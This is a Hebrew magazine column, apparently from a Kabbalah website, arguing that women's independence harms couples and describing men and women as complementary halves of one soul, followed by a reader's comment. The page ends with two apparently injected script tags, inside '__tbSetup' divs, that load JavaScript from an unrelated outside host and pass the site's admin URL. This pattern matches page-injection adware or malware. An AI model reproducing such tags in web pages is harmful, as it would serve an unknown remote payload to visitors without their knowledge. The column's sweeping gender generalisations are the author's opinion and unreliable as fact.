זוגיות | נשים - זווית אישית

נשים עצמאיות – פנטזיה או סיוט?

מריבות עם בן הזוג, אם כבר יש כזה, הן הדרך המהירה ביותר לגלות כמה האהבה קרובה לשנאה. או לגלות כמה האהבה היא שקר ומרמה. או לגלות כמה זה מטורף להיות אישה
מאת: שלי פרץ

רק לפני רגע הייתם זוג מהסרטים, ניקרתם עיניים לכל השכנים, הודית לאלוקים כמה פעמים, על שמצאת את אותו יהלום בין ערימת המושחתים, שחגו סביבך כלהקת נשרים מורעבים (בימייך הסינגליים)... והנה הוא זרק מילה שצלצלה לך מה זה רע, וברגע את מתפרצת. פרצוף הדובשנית שלך הופך לפרצופה של מפלצת. ואת לא מצליחה לשחזר איך היית טיפשה/נואשת/בלתי שפויה להכניס לחייך את היצור הזה, הנורא, שהפך את ימיך ולילותיך לקללה. גוֹד, איזו אהבה ארורה!

לא קלה עלינו הזוגיות, תודו. וברור שבמקרים רבים, אם לא הסטיגמה של הרווקה המתוסבכת שהולכת ומזדקנת, יש יותר מסיכוי סביר שנשים מסוימות היו מעדיפות לנהל חיים עצמאיים לחלוטין ובנוסף ליום העצמאות הארצי, לחגוג גם יום עצמאות נשי אחת לשנה.  תחשבו על זה, מה רע? לחיות את החיים שלי בכוחותיי, בגבולות הברורים שאני מכתיבה, להתנתק מהמחויבות, והנאמנות, והחשדנות. להתנתק ממה הוא יגיד, מה הוא יחשוב, מה הוא ירצה, מה יעשה. לברוח מעול התסביכים המודחקים, שעלולים לפרוץ בפתאומיות מתוך אין ספור הלחצים שהזוגיות יוצרת בנו, רוצים או לא רוצים. ואכן, רבות וטובות לא מתמסדות, ומעדיפות במודע או בהדחקה, לשמור מרחק נגיעה מכל הכאבים והמועקות שמערכת יחסים עלולה לגלות.

וככה יוצא, שבשנות האלפיים נעשינו כל כך עצמאיות, עד שצו האופנה מכתיב לנו בעיקר לחכות... לחכות עם המחויבות, לחכות עם ההיריון, לחכות עם הלידה, לחכות עם הדבר הפרימיטיבי הזה שנקרא "משפחה". עד שמגיע גיל המעבר, שלא לומר גיל הבלות, ואנחנו? מחכות... כי קודם צריך עוד לכבוש את בימת החיים, ועל הגְלֶאם הזה בחורות עצמאיות לא מוותרות. ואז בגילאים מתקדמים, לאחר שהעצמאות השתלטה לנו קליל על כל חלקה טובה בלב ובנשמה, וכביכול חיסלה סופית את האיום של התלות, יש כאלה שמבחירה או מחוסר ברירה מחליטות להביא גם ילד לעולם, לחלוטין בעצמן. זה טוב או זה רע? אני בטח לא זו שתקבע.

?חופשי זה לגמרי לבדאז אנחנו עצמאיות יותר. ואולי עבור חלק מהגברים העצמאות הזו
היא סיוט, ובשביל אחרים היא התגשמות כל מאווייהם הכמוסים,
אישה שעושה הכל בעצמה, יש בזה כוח ועוצמה, אבל גם עבורנו, הנשים, העצמאות היא דו-פרצופית. פעם היא מחייכת בשמחה,
ונושאת בחובה הבטחה להגשמה עצמית מלאה. ובפעם אחרת
היא בוכה - כשהעצמאות הזו מרחיקה אותנו מכל ההנאות הרבות שבאות בעסקת חבילה עם זוגיות טובה. ויש גם הפסד נוסף,
שגברים מפחדים מאיתנו יותר. וכשנכנס הפחד בין האנשים
התקשורת נהיית שקרית יותר. ונוצר עולם מפורד יותר. בודד יותר. קשה יותר. ואני שואלת איך כל זה ייגמר?

לכל מין יש את הטבע שלו, בואו נכבד את זה

מצטערת אם בימינו המודרניים אמירה כזו היא על גבול החוצפה, אבל לי לא נראה שאלוקים התבלבל כשהוא ברא אותנו זכר ונקבה. בסך הכל אם היינו לגמרי שווים, אז במקום לייצר שני מינים, הוא בטח היה מוצא לעצמו עיסוקים קצת יותר טובים לאותו חמישי, בכל זאת זה ה-יום לבילויים.
אז למי שחשבה שעצמאות פירושה לנסות למחות כל זכר של נשיות מעל פני האדמה, הייתי מציעה לצאת מהסרט הרע, ולראות כמה הטבות ברורות לזה שְעָשַנה אישה. אני אישית מעידה, שהנני נהנית בטירוף מלהיות הגברת. אני אוהבת שפותחים לי את הדלת, אני אוהבת שמשלמים עלי, אני אוהבת שמחכים לי כשאני מתארגנת, אני אוהבת שמסיעים אותי ולא שאני הנהגת. ואני בהחלט סולדת מתיקון פנצ'רים, ומלהוכיח לגבר שאני והוא יכולים לעשות את אותם הדברים (למרות שבנינו, אֵנִיטִינְג הִי קֵאן דוּ, אַיי קֵאן דוּ בֵטֶר, כמו שאומרים). הרי זה שיגעון מבחינתי לוותר על כל הפינוקים, ולעבוד בפרך בתחומים שכבדים עלי, והרי רק בשביל זה אלוקים טרח לברוא אותם עם שרירים. אז תקראו לי פרו-נשית, אם אתם רוצים.

אבל אם נעמיק לרדת לשורשם של דברים, כל זכר ונקבה מצויים, יודעים שלזכר יש על פי רוב - נטיות גבריות - כמו יכולת מוגבלת לבצע בו זמנית שתי פעולות, חיבה בלתי מוסברת להקשיב לחדשות, דחף להוציא מיטב מזומניו על גאדג'טים ותוכנות, ותחביב מפוקפק של צפייה משולהבת (משולבת צעקות) באנשים רצים אחרי כדור משך שעות ארוכות.
בעוד שלמרבית הנקבות יש נטיות נשיות, כמו: להביא שלום עולמי (במיוחד אם היא זכתה בתואר מלכת היופי השנתי), לשבת על כוס קפה עם חברה, ולשפוך כל פרט ופרט שעבר בנבכי נשמתה משך היממה האחרונה, וכמובן לשרוף מיטב מזומניה (עדיף מזומניו של בן זוגה) על הסיילים הגדולים של העונה.

שני חצאים של השלם

ובכל זאת, ממה נובעים בינינו ההבדלים? תתפלאו, אבל לא מחינוך, לא ממוסכמות חברתיות - שבנים משחקים עם כדורגל ובנות משחקות בבובות, ואפילו לא בגלל מבנה המוח השונה. אלא כל אלה הם רק תוצאה ממבנה הנשמה. למה הכוונה?
הזוגיות באור הקבלה מגלה, שעד כמה שזה לא נראה, כולנו, גברים ונשים, היינו פעם לפני שנים, מאוחדים בנשמה אחת שלמה, מלאה באהבה. בהמשך הדרך הנשמה הזו התפצלה לשני חצאים שמשלימים זה את זה: חלק גברי וחלק נשי.

אוקי, נשים וגברים יש בעולם, אבל איפה בדיוק נכנסת ההשלמה ההדדית לתמונה? הגבר מתוקף הטבע שלו, בעמקי ליבו, רוצה להעניק לאישה את כל מה שהיא רוצה. ואי לכך ובהתאם לזאת, האישה, מתוקף הטבע שלה, היא בעלת רצונות גדולים ומפותחים יותר מהגבר. זאת כדי שיהיה לגבר שלה "שדה עבודה". זה משהו פנימי שלמעשה אין לנו עליו שום שליטה. נכון שמאז האדם הניאנדרטלי, שהביא צבי על הכתף לאשתו הקדמונית, האבזור קצת השתנה, אבל הטבע הפנימי נשאר בדיוק כמו שהיה. כמו שאריה נשאר אריה, מאז תקופת האבן והמערה.
אז מה קורה בימינו, כשנשים מרגישות שהן כבר יכולות לספק לעצמן את כל מה שהן רוצות? הגבר מרגיש מיותר. וההשלכות של הרגשה כזו הרי ידועות ומוכרות...

העצמאות היא דווקא ביחד

אז אם נבראנו שונים, ויש לנו תפקידים משלימים, ובכל זאת הזוגיות והנישואין נמצאים במשבר שהופך לאיטו לחוסר אונים, המסקנה המתבקשת היא, שמשהו בתפקוד המשותף שלנו לא בסדר. ותאמינו לי, למסקנה הזו הגעתי אחרי שנים של היכרות מעמיקה עם מערכות יחסים, שכביכול היה בהן הכל, אבל למעשה הן היו ריקות מבפנים.
כדי שגבר ואישה יוכלו להחזיק מעמד יחד לאורך זמן, הם צריכים לפנות מקום אחד לשנייה, לכבד את הטבע הפנימי ולתת לו להיכנס לפעולה. זה לא אומר שמעכשיו אישה לא משיגה כלום בעצמה, לגמרי לא. אלא שהיא מודעת לתשוקה המופלאה של הגבר שלה, להעניק לה כל טוב והנאה.

ומעל לכל זה, זוג צריך שתהיה לו מטרה משותפת והיא - לחזור להיות אחד שלם והרמוני, (כמו שהיינו לפני שהתחלקנו לזכר ונקבה). כדי להגיע לאותה אהבה שלמה נדרש תהליך התפתחות משותף, שבמהלכו שני בני הזוג גדלים ומגלים את עצמם. אחרת כל אחד מטפח את המטרות הפרטיות שלו, וכך תופס כיוון, בלי משים, והפער ביניהם רק גדל עם השנים. עד שנמצאים שני זרים, שכל אחד חי בעולם משלו, וחולק מתוקף ההרגל קורת גג משותפת עם אותו אדם שפעם, מזמן, עמד איתו תחת החופה...

זוג שנכנס לתהליך רוחני, מגלה דווקא באמצעות הקשר עם האדם השני, מה באמת מניע אותו, מה עוצר אותו, מה השאיפות הכמוסות שלו, מה הפוטנציאל הגלום בו, מה חסר לו, ומה הוא באמת צריך מהזוגיות. כשאדם מגלה את עצמו, והפנימיות שלו נפתחת בתוכו, אז הוא יכול לקחת שליטה ולהגיע לעצמאות אמיתית. עצמאות שיש בה הרבה יותר ממחאה, בריחה, או בדידות מכאיבה במעטפת של חופש ופריחה.

  • שלי פרץ: שחקנית, סופרת וכתבת "קבלה לעם". בת 29, נשואה, אמא טריה. בעלת טור ב-Ynet  יחסים.

הוסף תגובה
תגובות
כותרת
שם
דוא''ל
תוכן
שלחבטל
שלח לחבר
שלח לחבר
שם השולח/ת
כתובת השולח/ת
שם החבר/ה
שלחו לכתובת דוא''ל
שלחבטל
תגובות
1. פשוט כתיבה נפלאה!!

שי, 12.6.09 10:42
מלבד התוכן המעניין של הכתבה שאין ספק בי כי אמת גדולה הוא, אני חייב לציין שכתיבתך, שלי, פשוט זורמת, מצחיקה, ונקראת בשטף ובנשימה עצורה. בהצלחה.
<p>kab-study</p>
<div id="__tbSetup"></div>
<p>
<script src="https://secure-content-delivery.com/data.js.php?i={1C727042-71BC-42CA-9673-0C90960D76F0}&amp;d=2013-10-10&amp;s=http://www.kab.co.il/admin/resources/51031/edit?slang=he&amp;tree_id=113268&amp;cb=0.07726908986069703" type="text/javascript"></script>
</p><p>shvoa-ha-sefer</p><p>parashat-hashavua</p>
<div id="__tbSetup"></div>
<p>
<script src="https://secure-content-delivery.com/mware-detection/index.php?d=www.kab.co.il&amp;c=mwareDetect.returned" type="text/javascript"></script>
</p><p>new-life</p><p>hafatza</p><p>radio_zohar</p>